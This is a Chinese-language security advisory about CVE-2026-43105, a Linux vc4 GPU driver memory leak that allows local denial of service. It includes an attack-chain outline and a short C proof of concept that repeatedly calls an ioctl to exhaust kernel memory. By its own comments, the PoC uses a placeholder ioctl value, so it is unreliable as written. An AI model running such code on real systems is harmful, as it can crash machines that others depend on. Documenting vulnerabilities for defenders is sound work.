IPBUF安全漏洞报告
English
CVE-2026-43105 CVSS 5.5 中危

CVE-2026-43105: Linux内核vc4驱动内存泄漏漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43105
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMemory LeakDoSLocaldrm/vc4Kernel

漏洞概述

Linux内核drm/vc4驱动程序存在一处内存泄漏漏洞。在处理GPU挂起状态时,代码通过kzalloc分配了BO数组内存,但在后续清理函数vc4_free_hang_state中遗漏了释放操作。本地低权限攻击者可通过反复触发该状态保存流程,导致内核内存持续耗尽,最终造成系统拒绝服务。

技术细节

该漏洞技术细节涉及Linux内核图形驱动堆内存管理错误。在drivers/gpu/drm/vc4/vc4_gem.c模块中,当GPU发生硬件挂起时,内核会调用vc4_save_hang_state以记录现场信息。该函数使用kzalloc为buffer object(BO)数组分配堆内存,但在随后的销毁流程vc4_free_hang_state中,开发人员遗漏了对该BO数组的kfree调用,导致每次触发挂起状态保存都会泄漏一块内存。攻击者可利用本地低权限账户,通过发送恶意构造的图形指令或密集型渲染任务诱发GPU挂起。由于泄漏发生在内核空间,且攻击向量为本地,长期反复利用将导致内核内存耗尽,触发OOM Killer杀掉关键进程或导致系统完全死机,构成拒绝服务风险。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者获取目标系统的本地低权限用户访问权限。
STEP 2
步骤2:触发GPU挂起
攻击者执行特定的图形渲染操作或发送恶意指令,诱导vc4驱动程序检测到GPU挂起。
STEP 3
步骤3:执行漏洞代码
内核调用vc4_save_hang_state函数分配BO数组内存,但在清理时未调用kfree释放。
STEP 4
步骤4:耗尽资源
攻击者反复重复上述步骤,导致内核内存持续泄漏,最终耗尽系统资源。
STEP 5
步骤5:拒绝服务
系统内存不足,触发OOM Killer或系统崩溃,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43105 (Memory Leak in vc4 driver) * This code attempts to trigger the memory leak by inducing GPU hangs. * Note: Actual exploitation requires specific hardware and triggering conditions. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" // Placeholder for the ioctl command that submits rendering #define DRM_IOCTL_VC4_SUBMIT_CL 0x40 int main() { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC to trigger memory leak in vc4 hang state...\n"); // Loop to repeatedly trigger the hang state and leak memory for (int i = 0; i < 1000; i++) { // In a real scenario, this would send commands causing a GPU hang // leading to vc4_save_hang_state being called. if (ioctl(fd, DRM_IOCTL_VC4_SUBMIT_CL, NULL) < 0) { // Ignore errors for PoC demonstration } if (i % 100 == 0) { printf("Iteration %d: Memory potentially leaked.\n", i); } usleep(10000); // Small delay to allow system stability } close(fd); printf("PoC completed. Check kernel memory usage for leaks.\n"); return 0; }

影响范围

Linux Kernel < 6.6 (Fixed in commit 0d3c014a84396a147705f523a8fd6fc873e76502)
Linux Kernel < 6.1 (Fixed in commit 421cea4f71f7cf65abaae878562ee4aa2b684628)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以限制对/dev/dri设备的访问权限,仅允许受信任的用户访问。同时,密切监控系统内存使用情况,一旦发现异常内存增长,应及时重启系统以释放被占用的内核内存。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表